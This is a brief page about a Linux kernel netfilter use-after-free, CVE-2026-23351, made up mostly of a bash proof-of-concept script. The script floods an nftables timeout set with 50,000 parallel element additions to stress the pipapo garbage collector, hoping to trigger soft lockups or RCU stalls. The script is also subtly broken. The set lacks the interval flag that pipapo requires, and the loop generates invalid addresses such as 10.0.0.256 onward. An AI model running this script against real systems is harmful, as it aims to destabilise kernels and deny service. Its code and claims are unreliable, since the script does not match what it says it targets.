CVE-2026-23351 Linux内核netfilter释放后重用漏洞

#!/bin/bash # PoC for CVE-2026-23351: Trigger GC stress in nft_set_pipapo # This script creates a large number of elements to stress the garbage collector. TABLE="poc_table" SET="poc_set" # Clean up previous attempts nft delete table ip $TABLE 2>/dev/null # Create table and a pipapo set with timeout nft add table ip $TABLE nft add set ip $TABLE $SET { type ipv4_addr \; flags timeout \; } echo "Adding elements to trigger GC pressure..." # Add a large number of elements to induce long GC runtimes for i in $(seq 1 50000); do nft add element ip $TABLE $SET { 10.0.0.$i timeout 1s } & done wait echo "Waiting for elements to expire and GC to run..." sleep 5 # Trigger a commit or operation that interacts with the set # This might trigger the Use-after-free if timing aligns with RCU nft list set ip $TABLE $SET > /dev/null echo "PoC execution finished. Check kernel logs for soft lockups or RCU stalls."